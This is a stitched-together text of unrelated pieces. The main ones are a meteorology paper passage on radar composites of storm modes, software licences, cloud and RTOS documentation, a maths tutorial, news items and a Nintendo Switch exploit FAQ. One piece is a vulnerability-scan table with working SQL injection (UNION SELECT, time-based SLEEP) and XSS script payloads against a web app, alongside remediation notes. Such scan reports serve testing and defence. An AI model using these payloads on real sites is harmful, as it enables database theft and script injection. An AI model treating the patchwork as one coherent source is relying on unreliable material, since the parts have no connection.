Specifically, we generated images for the: (a) April 27, 2011 tornado outbreak (Knupp et al., 2014); (b) 24–25 September 2005 Hurricane Rita tornadoes (Moore and Dixon, 2011); (c) 4–5 April 2011 serial derecho event (Corfidi et al., 2016); and (d) June 29, 2012 progressive derecho event (Corfidi et al., 2016). The purpose of these analyses is to further communicate the utility of the com- posites, as well as identify the variability seen within even the same type of severe weather report. This also provides further verification that the approach is produc- ing reasonable results by affording a qualitative compari- son to the radar presentation during these well-documented events.
For the April 27, 2011 event, we focused on the early afternoon to evening period (1800 UTC to 0300 UTC). This period was chosen for demonstration purposes because the predominant storm mode for tornado producing storms was cellular (Knupp et al., 2014), and this tendency is clearly illustrated in Figure 4a–c. Specifically, the pattern shows a strong, high intensity (>50 dBZ), “kidney-bean-shaped” region within 25 km of the center of the image (i.e., the location of the storm reports) in the overall PMM composite (Figure 4b), as well as the 25th (Figure 4a) and 75th percentile (Figure 4c) composites. Additionally, the northern half of the composite has greater coverage of high-intensity pixels, which matches the regional radar depiction during this event. The variability between the 25th and 75th percentile images denote the “isolated cellular” and “cell-in-cluster” events that occurred during this event, and the overall composite reflects these tendencies. Similarly, the composite from the Rita event—where reports were selected from 1400 UTC on September 24, 2005 to 0000 UTC on September 26, 2005—depicts a “bulls-eye” in the center of the image, but with a contrasting northward (Figure 4d) and westward preference (Figure 4e,f) of higher pixel coverage. This pattern represents the preferred location of tornado reports relative to the center of Rita (Edwards, 2012) and the evolution of this location during the event. Initially, tornadoes were observed in the upper right quadrant of the storm, but this region shifted to the lower right quadrant later in the period. For the wind report examples, the squall line that produced a serial derecho (Corfidi et al., 2016) is clearly resolved within the 25th percentile (Figure 4g), overall (Figure 4h) and 75th percentile (Figure 4i) composites that include images from 1300 UTC on April 4, 2011 to 0300 UTC on April 5, 2011. Only the central part of the images depicts the classic “quasi-linear” region of high-intensity pixels associated with intense squall lines due to the shifting orientation of the squall line across its ~1000 km axis. Similarly, the progressive derecho event of June 29, 2012 (Figure 4j–l) captures the comparatively more compact linear structure and trailing-stratiform precipitation that is typical of the leading-line/trailing-stratiform pattern (Parker and Johnson, 2000). Similar to the Rita event, the stratification by percentile appears to capture the initial cellular structure across the Midwest and the leading-line/trailing-stratiform structure as it moved to the east coast later in its life cycle. Again, Figure 5
illustrates that the PMM approach is more representative of the reflectivity distribution than the mean or median composite images for these events. The April 27th 2011 event (Figure 5a) and the June 2012 derecho both have lower median coverage of non-zero pixels compared to the Rita event (Figure 5b) and the progressive derecho event (Figure 5c). Although there is variability in the orientation, intensity, and location of CSM structures relative to storm reports, tendencies in reflectivity patterns are captured by the composites.
Previous work has shown a strong relationship between CSM and EF-scale rating (Trapp et al., 2005; Smith et al., 2012; Ashley et al., 2019). Namely, a Cellular CSM is most commonly associated with significant (≥EF2) to violent (≥EF4) tornadoes. Thus, composites stratified by EF-scale rating should reflect these findings. For all tornado events considered in this study that were given a rating (n = 24,850), their associated images were stratified into groups ranging from EF0 to EF5 (Figure 6; Figure 7).
Indeed, the PMM composites show a steady transition from “mixed mode” QLCS and Cellular CSM archetypes (Figure 2) for EF0 to EF2 (Figure 6) to cellular for EF3 and EF4 (Figure 7a–f) to isolated cellular for EF5 (Figure 7g–i). Although there is variability within these composites, there is a clear trend of a reduction in reflectivity coverage consistent with a shift from QLCS to Cellular CSM as EF-scale rating increases (Figure 8).
There is also a marked reduction in the coverage of non-zero pixels in the “maximum” ranked distribution as rating increases. More modest reductions within increasing EF-scale rating are evident in the median, 25th, and 75th percentile non-zero pixel coverage, with coverage maximizing at EF1 (32%, 21%, and 45%, respectively), and minimizing for EF5s (18%, 12%, and 31%, respectively). Interestingly, however, even the EF3 and EF4 composites have areas of mean convective (≥ 40 dBZ) reflectivity extending to the north, which suggests the pos- sibility of more specific CSMs like those proposed by Smith et al. (2012), namely, cell-in-line and cell-in-cluster, in addition to QLCS. This “mixed-mode” is illustrated by the differences between the 25th (Figure 6a,d,g; Figure 7a,d) and 75th (Figure 6c,f,i; Figure 7c,f) percentile PMM composite images—specifically, the Cellular CSM in the 25th percentile images and the QLCS/clustered CSM in the 75th percentile images. The CSMs depicted in the 75th percentile images are associated with problematic issues like the highest fatality and injury rate per tornado (supercell in line; Brotzge et al., 2013) and lowest probability of detection (QLCS; Brotzge et al., 2013). These results affirm that even significant to violent tornadoes can occur in “messy” or mixed-mode mesoscale convective scenarios, leading to reductions in warning efficacy.
To facilitate spatial analyses and comparisons, the east- ern CONUS is organized into 29 512 × 512 km grids and one ocean control grid (Figure 9).
Storm reports are associated with a grid using a one-to-one spatial join in ArcGIS Pro. Next, PMM composites are generated for each grid by only using images associated with reports that occur within that grid (Figure 9). For example, the image plotted within grid 22 (Birmingham) in Figure 9a is the PMM composite for all images associated with any severe (tornado, hail, and wind) report that occurred within that grid cell. All of the PMM composite images have the same scale as the original data. That is, the PMM composite is inserted onto the 2-km equal area grid by anchoring the centre of the image on the pixel closest to the centroid of each grid, and filling out 128 pixels to the north, south, east and west of that cen- tral pixel. Through this analysis, we can assess the spatial variability in “typical” radar reflectivity appearance. The colour map used in the composite figures was chosen to replicate the typical colour scale used when presenting weather radar reflectivity. The authors feel that the disadvantages of the generally poor colour map choice are balanced by the familiarity experts and non-experts have with this colour scale.
Marked spatial patterns are illustrated by stratifying the data into gridded regions. The composites for all events (Figure 9a), as well as those stratified by hazard type (Figure 9b–d), show a tendency for radar images to exhibit a more cellular appearance in the High Plains with an increasingly QLCS-like appearance in Southeast CONUS. This pattern is particularly evident within the tornado composites (Figure 9b). Southern Great Plains tornado grids (e.g., 14-Wichita and 20-Dallas) match up well with the cellular archetype depicted in Figure 2g-i, whereas tornado grids within the Southeast CONUS (e.g., 21-Little Rock and 22-Birmingham) match with the QLCS archetype (Figure 2d–f). Conversely, hail composites (Figure 9c) suggest that the preferred storm mode is predominately cellular. Although, the cells appear to be more isolated in grids like 13-Denver compared to 16-Nashville. Wind composites (Figure 9d) show a QLCS-like pattern in the Southeast CONUS, and a “mixed mode” pattern as depicted in Figure 2b in the Midwest CONUS. The lack of ≥5 dBZ to the NW and SE of severe thunderstorm reports is expected and ubiquitous throughout the composites. The initiation and sustenance of deep, moist convection that produces severe weather requires a lifting mechanism, which is typically provided by frontal boundaries (McNulty, 1995). To the NW of the report, this is often an area where cold or dry air has undercut warm or moist air, and instability has decreased. To the SE of the report, this area often experiences a capping inversion and air parcels are spatially displaced from an adequate lifting mechanism.
Extending the analysis to warm (April–September) and cool (October–March) seasons reveals temporal variability within the grids (Figure 10).
In general, the spatial coverage of the “mean storm” either increases or becomes more elongated during the cool season, particularly for tornado and wind events. Summer tornado events produce composites most similar to the cellular archetype (Figure 2g–i) in the Great Plains and Midwest CONUS, and an increasing QLCS-like pattern as one moves into the Southeast CONUS (Figure 10a). Focusing on the eastward transition between grids 19-Amarillo, 20-Dallas, 21-Little Rock, and 22-Birmingham, there is a clear evolution from cellular to QLCS-like composites. In contrast, the eastward transition from 7-Casper, 8-Sioux Falls, 9-Des Moines, and 10-Chicago shows a more subtle cellular to QLCS-like transition, potentially caused by more compact QLCSs or a more balanced mix of Cellular and QLCS structures compared to the Southeast. Perhaps not surprisingly, 27-Baton Rouge, 28-Mobile, and 29-Orlando, exhibit a Tropical-like structure in their warm-season tornado composites. These CSMs shift towards QLCS-like structures in the cool season (Figure 10b), and this change is ubiquitous across the grids. This shift is not as obvious for hail events (Figure 10c–d), and although a clear elongation of the spatial coverage of reflectivity intensity is noted, the best qualitative fit for the grids would still be the cellular archetype in Figure 2g–i. Similar to the tornado composites, the composites for wind events shift from a cellular or mixed-mode pattern in the warm season to a QLCS pattern in the cool season (Figure 10e,f). The seasonal dichotomy could be explained by a balance between instability and convective inhibition. Convective (≥40 dBZ) reflectivity values are often associated with vigorous deep, moist convection (Ashley et al., 2012), and environ- mental conditions that support such convection have favourable thermodynamics and kinematics (McNulty, 1995). However, the utilization of these ingredients by potential storms is conditioned on other factors such as the strength of a capping inversion and forcing for ascent. During the spring and early summer, a large portion of the study area experiences supportive thermodynamics, kinematics, and conditional environmental factors that lead to the frequent development of widespread convection (Doswell, 2001; Gensini and Ashley, 2011). Moving into the late summer and early fall, stronger capping inversions and weaker forcing can limit the coverage of convection. The result within the composites is the contraction of the “mean storms” due to the limited coverage of non-zero reflectivity values as a response to increasingly localized and less widespread supportive environments during this period.
We stratified the reports into two subsets to examine the influence time of day had on the composites, namely: (a) an early afternoon and early evening subset (1700–0500 UTC); and (b) a night and morning subset (0500–1700 UTC). The limitations of choosing these sub- sets is that the amount of daylight hours, as well as local noon and local midnight, differs over the course of a year and within the study area. Thus, these periods should be considered only roughly representative of the typical time periods in which initial convection develops (early afternoon and evening) and when upscale growth has occurred (night and morning) based on previous work (Carbone and Tuttle, 2008). Similar patterns to the seasonal analyses emerge from the diurnally-stratified composites (Figure 11).
In particular, the transition from the afternoon and evening subset to the night and morning subset results in an increased area covered by the 5 dBZ contour for all of the hazard types and most of the grids. Tornado composites (Figure 11a,b) exhibit a marked expansion in spatial coverage during the night and morning period, including higher intensity contours that denote regions of convection (i.e., 40 dBZ). Some of the more dramatic diurnal increases in reflectivity coverage includes 9-Des Moines and 15-St. Louis. Hail events (Figure 11c,d) experience an expansion in spatial coverage and a change in how the most intense reflectivities are oriented relative to the areas of weaker mean reflectivity during the night and morning period. Specifically, areas of higher intensity are on the southern flank of the 5 dBZ contour region, whereas the afternoon to evening composites have this area on the southwest flank, and this pattern is particularly evident in grids 9-Des Moines and 10-Chicago. Based on when hail typically occurs in this area (i.e., late spring and early summer), it is possible that this signal is related to the nocturnal low level jet interacting with frontal boundaries (Walters et al., 2008). Wind composites similarly show an expansion of weaker reflectivity (≥5 dBZ) and convective reflectivity (≥40 dBZ) for many of the grids in the night and morning subsets (Figure 11e,f). This strong signal suggests a preference for QLCS-like structures over cellular structures during this time of the day. Although peak heating occurs during the afternoon, the upscale growth of organized convection associated with severe thunderstorm events is largely relegated to the overnight hours, particularly during the summer (Carbone and Tuttle, 2008; Geerts et al., 2017). The merging and subsequent reinforcement of cold pools as an event matures results in the mesoscale area favourable for lifting parcels to the level of free convection to increase from the meso-gamma scale (~10 km) to the meso-beta scale (~100 km; Coniglio et al., 2010). Additionally, supportive thermody- namics and kinematics that develop exclusively during the overnight hours allows the development of convec- tion that is displaced from surface frontal boundaries (Walters et al., 2008; Weckwerth et al., 2019). The overall effect of these factors results in the increase in coverage of convection during the overnight and morning period.
This study used a moving window composite analysis to illustrate the climatological tendency of radar-derived spatial patterns affiliated with recorded severe thunderstorm hazards in the eastern two-thirds of the CONUS. Three CSMs were chosen to illustrate the variability between composites generated for approximately 5,000 manually identified QLCS, Cellular, and Tropical sam- ples. For unlabelled tornado samples, the images were first stratified by F/EF scale to examine the CSM ten- dency within the resulting composites. To examine the spatiotemporal variability of the composites, over 500,000 images were used to create composites for 30 “report box” grids over the eastern CONUS. This analysis informed an exploration of not only the regional variability of these composites, but also the seasonal and diurnal variability therein.
The results affirm previous work that examined CSM within the CONUS (Smith et al., 2012; Ashley et al., 2019). In particular, strong tornadoes were associ- ated with a “Cellular” CSM tendency, whereas weaker tornadoes were associated with “QLCS” or mixed Cellular/QLCS CSM tendency. CSM tendency within Great Plains grids was Cellular, whereas the tendency for Southeast CONUS grids was QLCS or mixed Cellular/QLCS. Day and warm-season events preferred a Cellular CSM, whereas cool-season and night events preferred QLCS or mixed Cellular/QLCS. The results show the utility of the moving window composite approach, due to its agreement with existing manual and automated studies of spatiotemporal CSM variability.
Future work using these data should explore ways of using semi-supervised (Zhu and Goldberg, 2009) machine learning classification techniques to assign CSM labels to the 500,000 extracted images. A large dataset of labelled images would be useful to the meteorology and climate research community, particularly those who are engaged in image classification applications. For example, these data can populate an “image search engine” that can perform image retrieval tasks (Guo et al., 2016). Users of the image search engine would then be able to query the severe weather report dataset by the appearance of the radar image, in addition to the attributes provided within SVRGIS (time, location, magnitude, etc.). Such projects have been successful in other domains (LeCun et al., 1998; Lintott et al., 2011; Knapp et al., 2016) by: (a) providing a consistent dataset from which to draw examples; and (b) adding context to the performance of new machine learning approaches. Additionally, these and similar projects have improved public access to scientific datasets, educated non-experts on physical phenomena, and even included so-called “citizen scientists” in the dataset-building process. Like other projects, this dataset can be modular and add new data as it becomes available through a versioning process.
This work is supported in part by Louisiana Board of Regents RCS Grant LEQSF(2019-22)-RD-A-07, National Science Foundation Grant ATM-1637225,and NOAA grant NA13OAR4310183. We would like to thank Ryan Lagerquist for the probability matched mean code that helped create the composites. We would also like to thank the two anonymous reviewers for their suggestions that greatly improved the clarity and quality of the paper. Sample analyses and instructions on how to access the data used in this work are available at https://github.com/ahaberlie/SVRIMG.
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| Jergensen, G.E., McGovern, A., Lagerquist, R. and Smith, T. (2020) Classifying convective storms using machine learning. Weather and Forecasting, 35(2), 537–559. |
| Knapp, K.R., Matthews, J.L., Kossin, J.P. and Hennon, C.C. (2016) Identification of tropical cyclone storm types using crowdsourcing. Monthly Weather Review, 144, 3783–3798. |
| Knupp, K.R., et al. (2014) Meteorological overview of the devastat- ing April 27, 2011 tornado outbreak. Bulletin of the American Meteorological Society, 95, 1041–1062. |
| Lagerquist, R., McGovern, A., Homeyer, C. R., Gagne, D. J. and Smith, T. (2020) Deep Learning on Three-dimensional Multi- scale Data for Next-hour Tornado Prediction. Monthly Weather Review, 148, 2837–2861. |
| Lakshmanan, V. (2012) Image processing of weather radar reflectivity data:Should it be done in Z or dBZ. E-Journal of Severe Storms Meteorology, 7, 3. |
| Landsea, C., Franklin, J. and Beven, J. (2015) The revised Atlantic hurricane database (HURDAT2). NOAA/NHC. Available at: https://www.nhc.noaa.gov |
| LeCun, Y., Bottou, L., Bengio, Y. and Haffner, P. (1998) Gradient- based learning applied to document recognition. Proceedings of the IEEE, 86, 2278–2324. |
| Lintott, C., et al. (2011) Galaxy zoo 1: data release of morphological classifications for nearly 900 000 galaxies. Monthly Notices of the Royal Astronomical Society, 410, 166–178. |
| Markowski, P. and Richardson, Y. (2011) Mesoscale Meteorology in Midlatitudes. Hoboken, NJ: Wiley-Blackwell. |
| Matyas, C.J. (2010) Use of ground-based radar for climate-scale studies of weather and rainfall. Geography Compass, 4, 1218–1237. |
| Matyas, C.J., Zick, S.E. and Tang, J. (2018) Using an object-based approach to quantify the spatial structure of reflectivity regions in hurricane Isabel (2003). Part I: comparisons between radar observations and model simulations. Monthly Weather Review, 146, 1319–1340. |
| McGovern, A., Lagerquist, R., Gagne, D.J., Jergensen, G.E., Elmore, K.L., Homeyer, C.R. and Smith, T. (2019) Making the black box more transparent: understanding the physical implications of machine learning. Bulletin of the American Meteoro- logical Society, 100, 2175–2199. |
| McNulty, R.P. (1995) Severe and convective weather: a central region forecasting challenge. Weather and Forecasting, 10, 187–202. |
| Miller, P.W. and Mote, T.L. (2017) Standardizing the definition of a “pulse” thunderstorm. Bulletin of the American Meteorological Society, 98, 905–913. |
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The iZettle iOS app uses SBJson, Copyright © 2007-2015 Stig Brautaset, which is subject to the terms and conditions of the BSD license that states as follows:
Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
The iZettle iOS app uses GRMustache, Copyright © 2014 Gwendal Roué, which is subject to the terms and conditions of the MIT license that states as follows:
Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
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â€œUpload destinationâ€� should represents Azure Storage directory, consider that
forward slash "/", which is the Azure directory
identification symbol, is automatically appended from the bucket.
Path should look like this: "directory1/directory2/.../directoryN/".
If â€œUpload destinationâ€� is not specified, the file will be uploaded to
container at the root location 'directory'.
Available environment variables:
${site.target}
${site.accountName}
Examples:


Websocket Chatroom is an online chatroom for people to communicate and socialize.
With a small but powerful set of console commands provided, people can freely create new chatrooms (and thus become room master), set it as public or private, set its max size, join and invite people to join. Multiple login is allowed. People can see what rooms are online, all the users online and who are in their current chatroom. They can change personal settings in the settings panel, including sound and background image options.
Besides chatting people can also play games. At this time one game (6-piece chess) is available.
People are suggested not to disclose any sensitive personal information online.
In the long run, these features could be included:
Websocket Chatroom is created based on the websocket technology. Front end is written in HTML5/Javascript/CSS. Back end websocket server is written in Python|Autobahn.
For any questions and comments, please send email to: wschat@homecox.com


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Israeli soldiers save badger stuck in Syria border fence
Joint operation of IDF and Israel Nature and Parks Authority frees animal from fence on the Israel-Syria border.
by Daniel Ben TalEarlier this month, IDF tracker Warrant Officer Hussein Ghadir was on patrol in the Golan Heights when he noticed a badger on the Syrian side of the border struggling to get through the fence’s metal bars.
Ghadir alerted his superiors, and an officer from the IDF’s Bashan division immediately called the Israel Nature and Parks Authority (INPA).
INPA sent INPA park ranger Uriah Vazana and volunteer veterinarian Doron Tiomkin to the scene.
“We started the treatment immediately, starting with sedating the badger so she wouldn’t resist our rescue attempts,” Vazana recounted to a Ynet reporter.
“After we got her out, we made sure she was unharmed and later released her near a water source in known badger territory.”
The rescue was made possible thanks to the soldiers’ quick actions at the scene, Vazana noted. Yet it was hardly unprecedented.
In June this year, local media reported that IDF tracker Master Sergeant Ghaleb Elabeed saved a badger in a similar situation on the Gaza border fence.
“I approached the badger, but it recoiled and injured itself on the fence, so I had to act quickly,” Elabeed recounted.
IDF trackers can easily distinguish badger tracks. These members of the weasel family are active mostly at night. They can be found throughout the Mediterranean region, including Israel from north to south.
Elabeed, like many IDF trackers, was trained in the Army for the Protection of Nature project, a joint initiative of the IDF and the Society for the Protection of Nature in Israel
The project encompasses every branch of the IDF and provides soldiers and officers with knowledge and resources to help protect Israel’s environment.
It challenges IDF commanders to develop meaningful conservation and educational initiatives to protect biodiversity.
Since the project was launched in 2014, it has swelled from eight to about 60 centers of activity covering all areas of Israel, reflecting the growing trend of environmental awareness.
The IDF controls half of Israel’s rarest habitats and ecosystems — loess plains, sandy dunes and Mediterranean deciduous forests — because they’re located in restricted security areas.
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Supported task CPU and memory values for Fargate tasks are as follows.
| CPU value | Memory value (MiB) |
|---|---|
| 256 (.25 vCPU) | 512 (0.5GB), 1024 (1GB), 2048 (2GB) |
| 512 (.5 vCPU) | 1024 (1GB), 2048 (2GB), 3072 (3GB), 4096 (4GB) |
| 1024 (1 vCPU) | 2048 (2GB), 3072 (3GB), 4096 (4GB), 5120 (5GB), 6144 (6GB), 7168 (7GB), 8192 (8GB) |
| 2048 (2 vCPU) | Between 4096 (4GB) and 16384 (16GB) in increments of 1024 (1GB) |
| 4096 (4 vCPU) | Between 8192 (8GB) and 30720 (30GB) in increments of 1024 (1GB) |


Detailed Description
Note: This API is part of the nano layer
Interrupt service routines can be divided into to halfs: the top and the bottom half. The top half is that piece of code, that is directly executed when the processor gets an hardware interrupt signalled. This code is usually executed with globally disabled interrupts. Thus, a second interrupt that happens while the first interrupt is still serviced, will be delayed until the processor has left the currently running ISR again. To minimize interrupt delay, only the critical part of the ISR (the top half) is executed at interrupt level, all non critical code is executed at task level (bottom half). Because the bottom half is interruptable, critical interrupts won't be delayed too much.
Macro Definition Documentation
Bottom half function. Unregisters a bottom half.
- Parameters:
-
- Returns:
- Zero on success. Nonzero values denote an error.
- Note:
- NOSCFG_FEATURE_BOTTOMHALF must be defined to 1 to enable bottom half support.
- See also:
- nosBottomHalfRegister
Function Documentation
Bottom half function. Registers a new bottom half.
- Parameters:
-
| number | Number of the bottom half. Must be between 0 and NOS_MAX_BOTTOMHALFS - 1. |
| func | pointer to the bottom half function that shall be executed when the bottom half is triggered. |
| arg | optional argument passed to function func. |
- Returns:
- Zero on success. Nonzero values denote an error.
- Note:
- To unregister a bottom half function again, you may call this function with funcptr = NULL, or alternatively, you can use the macro nosBottomHalfUnregister.
NOSCFG_FEATURE_BOTTOMHALF must be defined to 1 to enable bottom half support.
-
Important! A bottom half function is not allowed to block, that means such a function must not call functions that may block (for example, this functions are nosTaskSleep, nosSemaGet, nosSemaWait, nosMutexLock).
- See also:
- nosBottomHalfUnregister, nosBottomHalfStart
| NANOEXT void POSCALL nosBottomHalfStart |
( |
UVAR_t |
number | ) |
|
Bottom half function. Triggers a bottom half function. The bottom half is executed when the interrupt level is left.
- Parameters:
-
- Note:
- This function is called by the top half of an interrupt service routine. The ISR that calls this function does not need to call c_pos_intEnter before.
NOSCFG_FEATURE_BOTTOMHALF must be defined to 1 to enable bottom half support.
- See also:
- nosBottomHalfRegister, nosBottomHalfUnregister


This is Words and Buttons Online — a collection of interactive #tutorials, #demos, and #quizzes about #mathematics, #algorithms and #programming.
This is a minimal interpolating polynomial (in arctangent scale, yes). For k points, if has k-1 degree, and it, of course, runs through all the points by definition of interpolation.
↑ This plot is interactive
This polynomial can be obtained by several ways, and Lagrange interpolation is one of them. Lagrange polynomial is not a polynomial with some specific “Lagrangian” properties, it's only the way the interpolating function is calculated.
And this is the way.
| L(x) = | k | yi gi(x) |
| Σ | ||
| i = 1 |
The functions g(x) are the basis polynomials. They are defined for every i ∈ 1..k. Here they are.
| gi(x) = | k |
|
||
| Π | ||||
| j = 1, j ≠ i |
Ok, but this thing doesn't even look like a polynomial. And how come it's interpolating?
The interpolant is a sum of products of linear functions. Each function is:
| x - xj |
| xi - xj |
At first, it might look like a rational function but xi - xj is not a function of x, it's just a number. In other words:
| x - xj | = | x | - | xj | , where cij = xi - xj |
| xi - xj | cij | cij |
And this one is definitely linear.
When x = xj this linear function is 0 because xj - xj = 0.
And when x = xi, the function is 1 for every xj apart from when xj = xi since xi - xj = xi - xj.
The product of these linear functions is the basis polynomial. It is defined for every i, and for every i, it multiplies all the linear functions defined for every j except for when xj = xi.
So when we compute a basis polynomial determined for i in xi we get 1, since all the linear functions result in 1.
And when we compute the very same basis polynomial for every other xj we get 0 since one of the linear functions results in 0.
E. g., the basis polynomial for the last point from the plot looks like this.
We should only multiply it by yi to make it go through the point (xi, yi).
Now adding these basis polynomials together make them go through all the points since they don't mess up with each other. Every basis polynomial is 0 in all the xj except for xi so when you sum them up, there is no interference.
Ok but why is it a polynomial? Well, the linear function is a first-degree polynomial. You multiply k - 1 of them, you get k - 1 degree basis polynomial. And, of course, summing up a few basis polynomials of k - 1 degree can only result in a polynomial too.
Personally, I never used a Lagrange polynomial in practice. When I need an interpolating polynomial, I get one by solving a Vandermonde equation.
But Lagrange polynomial introduces a very important idea of a basis function. You can analyze your source function into basis functions, and you can synthesize a new function, with the properties you want, from that. Basis splines are built upon this idea.
With Lagrange polynomial, this idea is almost obscenely simple. It's all sums and products, ones and zeroes.
| Index #mathematics #tutorials | ← there's more. |
+
So You Think You Know C (free book) + Geometry for Programmers (paid book) + Github & RSS |


Currently, none. No homebrew has been released yet.
There has, however, been a major exploit announced in the Switch firmware 3.0.0: smhax.
SciresM has confirmed that this exploit will work on all firmware versions below 3.0.0 too, including 1.0.0, 2.0.0, 2.1.0, 2.2.0, and 2.3.0.
smhax is most likely one of the biggest vulnerabilities found in the Switch firmware, and will probably be the main access to homebrew for a while.
Nintendo have since patched smhax in Switch firmware 3.0.1, so it's heavily advised not to update!
smhax, when fully exploited, will allow privilege escalation which will allow us to register and run arbitrary services on the console. Read more here
Prior to 3.0.1, the service manager (sm) built-in system module treats a user as though it has full permissions if the user creates a new “sm:” port session but bypasses initialization. This is due to the other sm commands skipping the service ACL check for Pids <= 7 (i.e. all kernel bundled modules) and that skipping the initialization command leaves the Pid field uninitialized. Successful exploitation results in Acquisition, registering, and unregistering of arbitrary servicesWhen a homebrew entrypoint is released, this would likely be used to gain full access to the console.
Unfortunately, with the Switch, it has become extremely hard to downgrade. Nintendo have learned from their mistakes and introduced a new security measure: eFuses.
What's an "eFuse"?
An eFuse is a tiny element inside the CPU which can be "burnt" to permanently change the state of the CPU. For example, whenever you upgrade your Switch firmware, one of these eFuses is burnt. When you updated to 3.0.1, another of these eFuses burnt.
Because of this, if you tried to downgrade the console to 3.0.0, the console would notice that an extra eFuse is burnt than normal, meaning it knows it's previously been on higher firmware, and if too many eFuses are burnt, the bootloader will panic immediately and cease all other actions.
I'm afraid not, as the bootloader would still notice that too many eFuses have been burnt, and begin to panic.
Does this mean we'll never be able to downgrade on the Switch?Not necessarily. While it may be impossible to downgrade at this point in time, in the future with more advanced exploits, this may be possible. However, for now, you'll just have to wait on 3.0.1 for another exploit.
What if I replace the motherboard?Well, yes, that'd downgrade your Switch, however good luck getting a Switch motherboard for cheap. I'd suggest requesting scratched up Switches, or broken Switches, and pray that their motherboard isn't damaged. Also I don't think you'd be able to keep your saves from digital games, unless that's changed since the 3DS.
Well, I can't stop you, however SciresM stated that "if you care about hax, do not update" and that staying on 3.0.0 or below is "the correct call". He also said that people updating for newer games "will likely be waiting a much, much longer time".
Not yet. There have been rumors of one, however nothing has been confirmed and it's mostly likely not coming anytime soon.


Elder Cronos:
What a cheeky youngster! Very well, you shall have the test. Now listen carefully, as I hate to repeat things! I also have no patience for laggards, so keep up! Are you ready?
"I am ready!"


UTC -6
Chilean peso. US$ cash accepted.
There are no banks or ATMs
International Dialing Code for Juan Fernandes Islands is +56.
IMRAY AND ADLARD COLES PILOT BOOKS are available at a discounted price for Noonsite.com users via World Cruising Club
A useful, updated link to Robinson Crusoe Island
Noonsite welcomes information and updates especially regarding clearance, customs and immigration procedures from cruisers visiting this country.
Please E-mail noonsite with any new information, updates or corrections. Even just a short email confirming that the current data is accurate would be most helpful.


This package provides TypeScript interfaces and enums for the Workit models.
npm i workit-types
docs
Generated using TypeDoc


| url | type | parameter | description | solution |
|---|---|---|---|---|
| http://<IP_ADDRESS>/new.php?id=2 | SQL injection | id | http://<IP_ADDRESS>/new.php?id=2 --- Place: GET Parameter: id Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: id=2 AND 5804=5804 Type: UNION query Title: MySQL UNION query (NULL) - 6 columns Payload: id=-2391 UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x71656a7371,0x7a754365426850424265,0x716d686971),NULL,NULL# Type: AND/OR time-based blind Title: MySQL > 5.0.11 AND time-based blind Payload: id=2 AND SLEEP(5) --- | 过滤 |
| http://<IP_ADDRESS>/jobs.php?j_id=1 | SQL injection | j_id | http://<IP_ADDRESS>/jobs.php?j_id=1 --- Place: GET Parameter: j_id Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: j_id=1 AND 6444=6444 Type: UNION query Title: MySQL UNION query (NULL) - 9 columns Payload: j_id=-4671 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x71667a6c71,0x5649685a4569774e6550,0x7178756871)# Type: AND/OR time-based blind Title: MySQL > 5.0.11 AND time-based blind Payload: j_id=1 AND SLEEP(5) --- | 过滤 |
| http://<IP_ADDRESS>/book.php | XSS | title | Maybe there is a XSS in post parameter title from : http://<IP_ADDRESS>/book.php to : http://<IP_ADDRESS>/book.php Payload : </textarea><script>alert(1)</script>// | 编码/过滤 |
| http://<IP_ADDRESS>/book.php | XSS | name | Maybe there is a XSS in post parameter name from : http://<IP_ADDRESS>/book.php to : http://<IP_ADDRESS>/book.php Payload : </textarea><script>alert(2)</script>// | 编码/过滤 |
| http://<IP_ADDRESS>/book.php | XSS | Maybe there is a XSS in post parameter email from : http://<IP_ADDRESS>/book.php to : http://<IP_ADDRESS>/book.php Payload : </textarea><script>alert(3)</script>// | 编码/过滤 | |
| http://<IP_ADDRESS>/book.php | XSS | ms | Maybe there is a XSS in post parameter ms from : http://<IP_ADDRESS>/book.php to : http://<IP_ADDRESS>/book.php Payload : </textarea><script>alert(4)</script>// | 编码/过滤 |


Before Change
Class labels or regression targets, if applicable.
with np.load(path, allow_pickle=False) as data:
features = data["features"]
channels = [int(c) if len(c) > 0 else "" for c in data["channels"]]
columns = pd.MultiIndex.from_tuples(list(zip(features, channels)),
names=["feature", "channel"])
fset = pd.DataFrame(data["values"], index=data["index"],
columns=columns)
return fset, data["labels"]
After Change
Additional variables passed to `save_featureset`, including labels, etc.
with np.load(path, allow_pickle=False) as npz_file:
data = dict(npz_file)
features = data.pop("features")
channels = [int(c) if c != "" else "" for c in data.pop("channels")]
columns = pd.MultiIndex.from_tuples(list(zip(features, channels)),
names=["feature", "channel"])


Trump says he will make a decision on auto tariffs soon
U.S. President Donald Trump on Wednesday said he had been briefed by his administration on the issue of whether to impose tariffs on car and auto part imports into the United States and would make a decision fairly soon.
WASHINGTON: U.S. President Donald Trump on Wednesday said he had been briefed by his administration on the issue of whether to impose tariffs on car and auto part imports into the United States and would make a decision fairly soon.
Trump made the comment to reporters at the White House at the top of a meeting with Turkish President Tayyip Erdogan.
(Reporting by Alexandra Alper and Humeyra Pamuk; writing by Susan Heavey)


grewalsatinder
13-Aug-19 08:03 AM
I believe I must have spent the most money in second season of Notary Nodes, just by choosing to stick with AWS longer enough think our nodes will get best outputs, which is not true.
I was wondering about my expenses for just server hosting etc for past year which were only did for Notary Nodes, and it all totals to about 40,000+ NZD
Hostings Period From Period To Total
AWS+OVH+DO Jan 2018 Aug 2019 $33,595.77
Hetzner Jan 2018 Aug 2019 $7,396.98
SUM $40,992.75
(edited)
4
That's for 2 nodes on AWS mostly
DO is Digital Ocean while doing some quick testing of automation scripts etc.
the hardest part for last season for me was to not to change the hosting provider just because single reason.
changing that has to dealt with a lot of pain while the whole network propagates to use new IP
